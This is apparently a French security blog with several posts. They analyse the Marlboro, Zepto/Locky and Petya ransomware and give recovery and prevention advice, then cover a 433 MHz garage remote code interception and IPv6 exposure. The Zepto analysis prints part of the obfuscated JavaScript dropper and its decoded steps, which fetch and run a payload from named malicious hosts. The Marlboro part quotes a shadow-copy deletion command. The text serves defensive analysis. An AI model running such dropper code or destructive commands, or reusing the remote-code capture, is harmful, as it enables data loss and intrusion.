
  • chiffrement de fichiers ayant certaines extensions,
  • ajout de oops à la fin des noms des fichiers qu'il a chiffrés,
  • suppression des volume shadow copy

cmd.exe /C vssadmin.exe Delete Shadows /All /Quiet

  • création du fichier "_HELP_Recover_Files_.html" partout où il a chiffré des fichiers : marlboro-help

  • création du fichier "DecryptFiles.exe", qui est censé permettre le déchiffrement, mais qui ne fonctionne pas (ou plus) : marlboro-decrypter

  • ping inutile et suppression de lui même :

cmd.exe /C ping 1.1.1.1 -n 1 -w 6000 > Nul & Del "C:\Users\Administrator\Documents\aegnmiae.EXE"

Bien que le fichier html indique que le ransomware utilise un chiffrement fort, lorsqu'on regarde de plus près un fichier chiffré, on se rend facilement compte qu'il s'agit en fait d'un simple XOR. En effet, en éditant un simple fichier pdf, on constate que certaines parties contiennent de nombreuses fois une suite de 8 caractères ou le début de cette suite. Voici un exemple :

marlboro-xor

On sait que la majorité des fichiers classiques contiennent des zones ne comportant que des octets à zeros. On sait également que A XOR 0 = A. Cela permet de conclure qu'il s'agit d'un simple XOR et on trouve facilement la clé de déchiffrement. Dans mon cas, il s'agit de 0x617963626D6E656A.

On peut dire que c'est un rançongiciel de mauvaise qualité. En plus de n'utiliser qu'un simple XOR, le processus de chiffrement est buggé. En effet, sur certains fichiers, il supprime les derniers octets et cela peut les rendre inutilisables, même s'ils sont déchiffrés.

Emsisoft propose un outil de déchiffrement gratuit. Cependant, il nécessite de posséder au moins une copie d'un fichier avant le chiffrement. Si vous ne possédez pas cette copie, cela ne fonctionnera pas avec cet outils.

Pour conclure, comme d'habitude, ne payez surtout pas et je rappelle que la solution à ce genre de problématique se situe, selon moi, au niveau de la prévention des utilisateurs.

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Hier, j'ai reçu un courriel suspect... Suspect, parce qu'il est marqué comme SPAM par OVH, que je ne connais pas l'expéditeur, que je n'attendais pas de lettre de confirmation, encore moins d'un anglophone, et qu'il contient une pièce jointe au format zip :

courriel-zepto

Le fichier zip a un ratio de détection virustotal assez moyen : 23/53. Il contient un fichier dont l'extension est "js" pour javascript nommé "data 2fcf143c-.js". Ce dernier obtient un ratio de détection similaire : 21/54. Voici une partie de son contenu :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
WScript.Sleep(1); var aEx = (1, 2, 3, ['\x77\x73\x68\x20\x3d','\x20\x57\x53\x63\x72','\x69\x70\x74\x2e\x43','\x72\x65\x61\x74\x65','\x4f\x62\x6a\x65\x63','\x74\x28\x22\x57\x53','\x63\x72\x69\x70\x74','\x2e\x53\x68\x65\x6c','\x6c\x22\x29\x3b\x0a','\x73\x65\x20\x3d\x20','\x77\x73\x68\x2e\x45','\x6e\x76\x69\x72\x6f','\x6e\x6d\x65\x6e\x74','\x28\x22\x53\x59\x53','\x54\x45\x4d"\x29','\x3b\x0a\x6f\x73\x20','\x3d\x20\x73\x65\x28','\x22\x4f\x53\x22\x29','\x3b\x0a\x69\x66\x20','\x28\x6f\x73\x20\x21','\x3d\x20\x22\x57\x69','\x6e\x64\x6f\x77\x73','\x5f\x4e\x54\x22\x29','\x20\x7b\x57\x53\x63','\x72\x69\x70\x74\x2e','\x51\x75\x69\x74\x28','\x30\x29\x3b\x7d\x0a','\x76\x61\x72\x20\x4c','\x4d\x79\x39\x20\x3d','\x20\x22\x6f\x73\x65','\x22\x20\x2b\x20\x22','\x22\x3b\x0d\x0a\x76','\x61\x72\x20\x52\x79','\x20\x3d\x20\x22\x63','\x6c\x22\x20\x2b\x20','\x22\x22\x3b\x0d\x0a','\x76\x61\x72\x20\x4d','\x54\x76\x20\x3d\x20','\x22\x69\x6c\x65\x22','\x20\x2b\x20\x22\x22','\x3b\x0d\x0a\x76\x61','\x72\x20\x4a\x4a\x70','\x33\x20\x3d\x20\x22','\x65\x54\x6f\x46\x22','\x20+\x20\x22\x22',';\x0d\x0a\x76\x61','\x72\x20\x4a\x70\x35','\x20\x3d\x20\x22\x53','\x61\x76\x22\x20\x2b','\x20\x22\x22\x3b\x0d','\x0a\x66\x75\x6e\x63','\x74\x69\x6f\x6e\x20','\x41\x66\x28\x45\x4c','\x73\x30\x29\x7b\x72','\x65\x74\x75\x72\x6e','\x20\x45\x4c\x73',

[...]

'\x4e\x20\x20\x2a','\x2f\x2c\x20\x32\x29','\x3b\x0d\x0a\x0d\x0a','\x20\x20\x20\x20\x44','\x41\x62\x34\x5b\x50','\x47\x69\x35\x20\x2b','\x20\x48\x4a\x69\x5d','\x28\x29\x3b\x0d\x0a','\x7d\x3b']);
 eval(aEx.join(''));

Le code est donc dissimulé. Si l'on simule le "aEx.join('')" et que l'on remplace les "\x??" par leurs caractère ASCII, on obtient ce genre de choses :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
var LMy9 = "ose" + "";
var Ry = "cl" + "";
var MTv = "ile" + "";
var JJp3 = "eToF" + "";
var Jp5 = "Sav" + "";
function Af(ELs0){return ELs0;};
function MZb(Hh1){return Hh1;};

[...]

var Yz=[AAd1 + Cg7 + (function Ba1(){return Ut;}()) + (function Hk7(){return WZw;}()) + (function SXn(){return KSx;}()) + He + Ny6, VGj1 + Pm0 + Lh(NKi)];

for (var IBx3=0; IBx3 < Yz[EAt7 + Bq]; IBx3++)
{
 try 
 {
 var AJf=WScript[HYu2 + QUd3(Ht0) + JBs8](Yz[IBx3]);
 break;
 }
 catch (e)
 {
 continue;
 }
};

var Lp9=1;
var Gr=0;
do
{
 try
 {
 if (1== Lp9)
 {
 if (Gr >= IDz0[EAt7 + (function Cg(){return Bq;}())])
 {
 Gr=0;
 WScript[Go7](2 * 500);
 }
 AJf[Jh + Nz3](Iv(MGd), IDz0[Gr++ % IDz0[EAt7 + Bq]], false);
 AJf[(function Co(){return Dg;}()) + Fn]();
 }
[...]
} while (Lp9);

WScript.Quit(0);

function Kx1 /* N */(Lj4)
{
[...]
};
[...]

Une nouvelle fois, le code est dissimulé. Avec un peu de travail on finit par obtenir le pseudo code (très simplifié) suivant :

Télécharger http://silverjinoz.net/49x2nv ou http://210.240.104.2/8wldse8 ou http:/otwayorchard.net/ydumpjt5
Enregistrer le fichier dans %TEMP%/QNUnOOHWq
Lire le fichier %TEMP%/QNUnOOHWq
Décoder le fichier %TEMP%/QNUnOOHWq
Enregistrer le resultat dans %TEMP%/QNUnOOHWq.exe
Exécuter le fichier %TEMP%/QNUnOOHWq.exe avec le paramètre "323"

On peut noter que le fichier "QNUnOOHWq" obtient un ratio de détection de 4/53 et que le fichier "QNUnOOHWq.exe" obtient, quant à lui, un ratio de détection de 29/53.

Lorsqu'il est exécuté, le ransomware commence à chiffrer les fichiers en fonction de leur extension, les renomme et change l'extension en "zepto". On obtient des noms qui commencent tous par l'identifiant unique "4D52B197-2A12-A30E" :

4D52B197-2A12-A30E-02EF-009C32C16841.zepto
4D52B197-2A12-A30E-15D0-458CC59B47D4.zepto
4D52B197-2A12-A30E-99E4-44BEC0FC555D.zepto
4D52B197-2A12-A30E-557A-D9F7B26EB9C3.zepto

Lorsqu'il a terminé de chiffrer les fichiers, il affiche comment payer pour récupérer ses fichiers. Pour cela, il change l'écran de fond de windows et il ouvre les fichiers "_HELP_instructions.bmp" et "_HELP_instructions.html" :

help-instructionhelp-instruction-html

En suivant le lien fourni dans le fichier html, on arrive sur la page suivante, intitulée "Locky Decryptor Page" :

onion

Il demande 2 BTC soit un peu plus de 1000 € au cours actuel. Comme d'habitude je recommande de ne pas payer. Vous n'avez aucune garantie que cela permettra de déchiffrer les fichiers.

Une vidéo de l'infection :

À ce jour, il n'existe pas de solution pour déchiffrer les fichiers d'une machine infectée par zepto.

Ainsi, selon moi, la solution à ce genre de problématique se situe plutôt au niveau de la prévention.

Il s'agit, d'une part, de former les utilisateurs à reconnaître les courriels suspects et ne pas les ouvrir et d'autre part, d'avoir mis en place une solution de sauvegardes déportées, hors ligne et régulièrement vérifier qu'elles fonctionnent comme attendu.

Cinq conseils simples pour la sécurité informatique en entreprise

Cinq conseils simples pour la sécurité informatique en entreprise

Aujourd'hui l'informatique est l'un des éléments clés du fonctionnement et du développement des entreprises. Il ne se passe pas quelques jours sans que l'on entende parler de nouvelles malveillances informatiques visant des entreprises de toutes tailles et provoquant des dommages parfois irrémédiables. C'est pourquoi, il convient de protéger les systèmes d'informations, qui sont un patrimoine essentiel.

Voici cinq conseils simples qui permettent de se prémunir contre une bonne partie des attaques.

  1. Mots de passe

Les mots de passe sont la base de presque tous les contrôles d'accès. Il s'agit donc de changer systématiquement ceux qui sont définis par défaut et de ne pas les choisir à la légère.

En premier lieu, il ne faut pas utiliser le même mot de passe partout. En effet, si l'un des sites que vous utilisiez a été compromis, tous vos accès utilisant le même mot de passe le sont également. À titre d'exemple, en 2012, LinkedIn s'est fait volé près de 165 millions d'identifiant et de mots de passe. Cela a notamment permis à un groupe de prendre (temporairement) le contrôle de nombreux comptes de personnalités, dont les comptes twitter et pinterest de Mark Zuckerberg.

Ensuite, il faut utiliser des mots de passe suffisamment longs et complexes. Un bon mot de passe fait plus de huit caractères, il ne contient pas de mots qui peuvent apparaître dans le dictionnaire ou des informations personnelles et il mélange lettres majuscules et minuscules, chiffres et symboles. Par exemple, bien qu'assez long, un prénom suivi d'une date de naissance, n'est pas un bon mot de passe. En effet, il existe des outils qui permettent facilement de générer un dictionnaire à partir d'informations qu'on leur fournis.

Enfin, comme les brosses à dents ou les sous-vêtements, les mots de passe ne se partagent pas et se changent régulièrement. Cela permet de s'assurer que s'ils sont compromis, la possibilité d'attaque sera limitée dans la durée.

Il est humainement difficile de rester en accord avec ces règles. Pour nous y aider, il existe des solutions logicielles qui fonctionnent parfaitement. Elles permettent de générer des mots de passe complexes et s'en souviennent pour vous. Il suffit de mémoriser un seul mot de passe maître qui protégera tous les autres. On peut citer, entres autres, LastPass ou KeepPass.

  1. Mises à jour

On entend parfois parler d'utilisation de failles dites zero day, c'est-à-dire des failles qui ne sont pas encore connues et/ou corrigées. Elles ne sont que très rarement utilisées et quasiment exclusivement pour des cibles importantes. La grande majorité des attaques exploitent des failles bien connues, pour lesquelles des correctifs sont disponibles. De plus, dès leur sortie, ces correctifs sont rapidement analysés par les cybercriminels afin de comprendre ce qu'ils apportent et créer des outils qui permettent d'exploiter les éléments corrigés. C'est pourquoi, il est primordial d'appliquer systématiquement les mises à jour. Cela concerne bien évidemment les bases antivirus, les systèmes d'exploitation et les logiciels, mais également tous les équipements connectés au réseau.

  1. Accès physiques

La simplicité des accès physiques peut également être la base d'une attaque. Moins d'une minute peut suffire pour compromettre une machine ou créer une connexion pérenne à un réseau local, lorsqu'on est laissé seul devant un ordinateur ou une prise réseau. Ainsi, il ne sert à rien de mettre en place une politique de sécurité informatique très stricte si les accès physiques ne sont pas compliqués. De ce fait, il est important de penser aussi à sécuriser les accès physiques à l'informatique.

  1. Prévention

Le social engineering, qui consiste à tromper son interlocuteur pour obtenir des informations ou un accès physique, est au centre de bon nombre d'attaques. Par exemple, il s'agit de savoir ne pas ouvrir n'importe quel courriel, ne pas cliquer sur n'importe quel lien, ne pas connecter n'importe quelle clé USB, ne pas répondre à des questions au téléphone, etc. La sécurité informatique n'est pas forcément instinctive, elle s'acquiert. C'est pourquoi, il est essentiel de former ses équipes aux bonnes pratiques.

  1. Sauvegardes

Il s'agit d'anticiper une perte éventuelle de données. Les données importantes doivent plutôt être stockées sur un serveur prévu à cet effet. Il doit disposer d'un système de sauvegarde périodique en ligne et hors ligne et il faut vérifier régulièrement que les sauvegardes sont fonctionnelles. Afin de pouvoir relancer ce serveur rapidement et perdre le moins de temps possible, il est recommandé d'écrire des procédures d'urgence dans un plan de continuité d’activité, en décrivant notamment la restauration des données en cas de sinistre majeur.

On peut donc dire que la sécurité informatique ne se limite pas à l'achat de produits, mais correspond plutôt à un état d'esprit, mais aussi et surtout à la mise en place de processus. De ce fait, il s'agit d'une problématique transversale entre la technique et l'humain. Ainsi, cela nécessite d'une part, une connaissance approfondie de son système d'information et de tous les éléments qui le composent. Et d'autre part, cela exige également d'impliquer les humains qui sont finalement au cœur de tout.

433 MHz d'insécurité, un exemple

433 MHz d'insécurité, un exemple

La bande de fréquence des 433 MHz est très largement utilisée. Elle est ouverte à tous et employée pour faire fonctionner des télécommandes de voitures ou de portails, des thermomètres d'extérieur, des baby-phones, des jouets, etc.

Voici une télécommande de porte de garage très répandue :

télécommande

Elle utilise un code à 12 bits qui se règle en actionnant les interrupteurs du DIP switch situé au-dessus de la pile. Passons sur le fait que 12 bits, ça ne fait que 4096 possibilités, on peut très facilement intercepter ce code.

Pour cela, on enregistre le signal démodulé en WFM pour obtenir un ficher WAW. On peut l'ouvrir avec Audacity pour visualiser la waveform. Après une petite amplification, en mode Forme d'onde (dB), on obtient quelque chose comme ceci :

wave-1

On distingue assez facilement le moment ou le bouton est enfoncé et si on zoome on peut voir cela :

wave-2

Cette fois, on visualise assez aisément que la télécommande passe son temps à se répéter. En zoomant sur l'un des messages, on peut directement lire le code de la télécommande :

wave-3

Ainsi, il suffit d'attendre qu'on ouvre la porte pour intercepter très aisément le code. Ensuite, on pourra l'ouvrir ou la fermer à volonté. Si votre entreprise ou votre maison utilise ce genre de télécommande, votre porte blindée multipoints est inutile. Le niveau global de sécurité est caractérisé par le niveau de sécurité du maillon le plus faible.

Le ransomware petya - Comment récupérer ses données

Le ransomware petya - Comment récupérer ses données

Billet mis à jour le 11 avril en fin d'article.

Avant tout, je précise que, dans tous les cas, quelque soit le rançongiciel, il ne faut jamais payer la rançon réclamée.

Il y a une semaine, G DATA a publié sur son blog un nouvel article intitulé "Ransomware Petya encrypts hard drives", soit en français, Petya, le rançongiciel qui chiffre le disque. En fait, il ne chiffre pas le disque, seulement une toute petite partie.

Ce que Petya fait vraiment

Dès son exécution, on a l'impression qu'il fait planter Windows, mais, avant cela, il a pris soin de modifier le MBR et les 55 secteurs suivants, pour y placer son code et faire en sorte qu'il soit exécuté.

Voici le MBR avant et après :

petya-1

A ce moment là, il n'a encore rien fait d'autre et tous les fichiers sont intacts et récupérables. C'est lors du redémarrage que cela se complique. Il affiche quelque chose qui ressemble à une vérification du système de fichier :

petya-2

En fait, il ne vérifie rien. Pendant ce temps, il chiffre chaque enregistrement MFT. Voici un enregistrement $MFTmirr avant et après :

petya-3

Lorsqu'il a terminé de chiffrer tous les enregistrements MFT, il affiche sa tête-de-mort puis quelque chose comme ceci après avoir appuyé sur une touche :

petya-4

On retrouve la tête-de-mort et les éléments de la capture précédente à partir du secteur 45 :

petya-5

Et finalement, c'est tout ce qu'il fait ! Ce qui signifie que les fichiers ne sont absolument pas chiffrés et donc, en partie récupérables assez facilement.

Comment récupérer ses fichiers ?

Pour récupérer les fichiers, il faut brancher le disque dur infecté sur une autre machine et utiliser un logiciel de récupération de données par signatures. L'excellent PhotoRec est parfait pour cette tâche et son développeur propose un tutoriel étape par étape.

Pendant la recherche, il affiche le nombre de fichiers récupérés :

photorec

Il est important de noter que ce type logiciel ne fait qu'une recherche par signature. Ainsi, tous les types de fichiers ne peuvent être récupérés et ceux qui le seront auront perdu leurs propriétés, c'est-à-dire leur nom et leur place dans l'arborescence. De plus, les fichiers fragmentés ne seront récupérés que partiellement.

De ce fait, lorsque PhotoRec a terminé, il faut faire le tri et c'est là l'étape la plus compliquée.

Encore une fois, quelque soit le rançongiciel, il ne faut jamais payer la rançon réclamée et mettre en place un système de sauvegardes.

Mise à jour du 11 avril : comment récupérer tous ses fichiers ?

leostone propose une solution permettant de trouver la clé permettant de récupérer l'intégralité de vos données. Il faut toujours brancher le disque dur infecté sur une autre machine et lire le secteur 55 et 8 octets (offset 0x21) du secteur 54 et les convertir en base 64. On peut aussi utiliser l'outil PetyaExtractor pour faire cette opération. Ensuite il faut se rendre à l'adresse suivante : https://petya-pay-no-ransom.herokuapp.com/ pour fournir les éléments précédents. On clique sur "submit", on patiente un peu et on récupère la clé de déchiffrement que Petya réclame. Enfin, on rebranche le disque sur sa machine originale et on démarre. On rentre la clé et après déchiffrement, la machine devrait démarrer normalement.

La sécurité de votre réseau professionnel en IPv6 vs IPv4

Ou pourquoi je recommande fortement de ne pas activer IPv6 ?

L'IP (pour Internet Protocol), c'est le protocole qui permet (entre autres) à Internet de fonctionner. La version la plus utilisée est IPv4. Mais principalement en raison d'un manque d'adresse, on a inventé IPv6 pour le remplacer à terme. En attendant, elles coexistent et fonctionnent en parallèle.

A titre informatif, une adresse IPv4 ressemble à ça :

192.168.32.24

Et une adresse IPv6, à ça :

2a01:e37:8b3f:47a0:afbc:33ff:feb5:efa7

Pour vous connecter à Internet, en IPv4 en général votre FAI ne vous fourni qu'une seule adresse. Avec plusieurs appareils (PC, portable, tablette, etc) et en ne disposant que d'une seule adresse IP, votre box, qui fait office de routeur, utilise le NAT (pour Network Address Translation) et possède donc deux adresses IP, une publique et une privée. Les appareils, eux, n'ont qu'une adresse privée.

nat-1

Ainsi, de manière imagée, lorsque vous demandez, par exemple, une page Internet à votre navigateur, en fait vous demandez à votre routeur de le faire en votre nom et de vous transmettre la réponse.

Cependant le NAT présente un petit inconvénient. Les connexions ne peuvent être initiées que depuis le réseau privé :

nat-2

De ce fait, tous les services proposés par vos appareils (partage de fichiers, caméra, etc) ne sont disponibles que depuis votre réseau local. Pour qu'un service soit accessible depuis Internet, il faut faire une redirection de port. Ça n'est pas quelque chose qu'on met en place par hasard et cet inconvénient se transforme en fait, en avantage considérable en terme de sécurité.

En IPv6, votre FAI fourni une plage d'adresses de manière à ce que chaque appareil dispose de sa propre adresse publique. Ainsi, les connexions peuvent être initiées dans les deux sens :

notnat

Ainsi, après avoir activé l'IPv6 sur ma connexion, depuis une autre connexion IPv6, j'ai pu pinger mon serveur, pourtant habituellement "caché" derrière ma box ADSL en IPv4 :

ping6 _@IPv6_

ping

On peut faire un petit nmap pour voir ce qui est accessible :

nmap -6 _@IPv6_

nmap

Et on a accès en ssh et aux serveurs http :

ssh user@_@IPv6_

ssh

wget -6 http://_@IPv6_

wget

Et bien évidement tous les autres services sont aussi accessibles...

Vous n'avez pas d'enregistrement « AAAA » dans votre configuration DNS, donc vous avez peu de chance qu'on tombe, par hasard, sur votre adresse IPv6. Par hasard, non ! Mais maxmind fourni une base et on trouve également des sites qui donnent des adresses pour un service particulier. Par exemple voici les nœuds IPv6 du réseau bitcoin : http://btcnodes.org/ipv6. Enfin, chaque site que vous visitez enregistre votre adresse.

Pour résumer, en IPv4, vos services (partage de fichiers, caméra, etc) sont cachés derrière votre box ADSL et donc inaccessibles depuis Internet alors qu'en IPv6, tous vos services sont directement accessibles depuis Internet.

C'est pourquoi, à moins que cela ne soit nécessaire et si c'est possible, je recommande fortement de ne pas activer IPv6.